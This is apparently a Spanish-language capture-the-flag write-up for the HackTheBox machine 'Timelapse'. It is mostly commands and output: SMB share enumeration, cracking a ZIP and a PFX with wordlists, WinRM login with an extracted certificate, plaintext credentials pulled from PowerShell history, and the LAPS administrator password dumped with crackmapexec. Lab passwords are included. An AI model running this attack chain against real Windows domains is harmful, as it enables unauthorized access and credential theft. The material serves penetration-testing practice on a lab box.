Timelapse
SMB anónimo expone ZIP protegido → fuerza bruta ZIP y PFX → Evil-WinRM con certificado → historial PowerShell → LAPS_Readers extrae password de Administrator.
Machine IP: 10.10.11.152
Reconocimiento
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
389/tcp open ldap (Domain: timelapse.htb)
445/tcp open microsoft-ds
5986/tcp open ssl/http (WinRM SSL)
Reconocimiento SMB:
smbmap -H 10.10.11.152 -u 'null'
ADMIN$ → NO ACCESS
C$ → NO ACCESS
Shares → READ ONLY ← interesante
smbclient //10.10.11.152/Shares -N
Dentro hay dos directorios: Dev y HelpDesk. En Dev hay un ZIP.
Fuerza bruta ZIP → PFX
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
# PASSWORD FOUND: supremelegacy
El ZIP contiene legacyy_dev_auth.pfx, también protegido con contraseña:
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
# Password found: thuglegacy
Evil-WinRM con certificado
Extraemos clave privada y certificado:
openssl pkcs12 -in legacyy_dev_auth.pfx -out priv-key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
Conexión por WinRM SSL (puerto 5986):
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
Conectados como timelapse\legacyy.
User flag obtenida.
Escalada → svc_deploy
Revisamos el historial de PowerShell:
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Aparecen credenciales en texto plano:
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Escalada → Administrator via LAPS
net user svc_deploy
# Global Group memberships: *LAPS_Readers *Domain Users
LAPS_Readers tiene acceso a las contraseñas de administrador local almacenadas en LAPS. Extraemos con crackmapexec:
crackmapexec ldap 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' \
--kdcHost 10.10.11.152 -M laps
LAPS DC01$ Password: 8hQ]W)p5@MeKIl.IHjuD%tAu
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '8hQ]W)p5@MeKIl.IHjuD%tAu' -S
ROOT shell obtenida.
Happy Hacking!!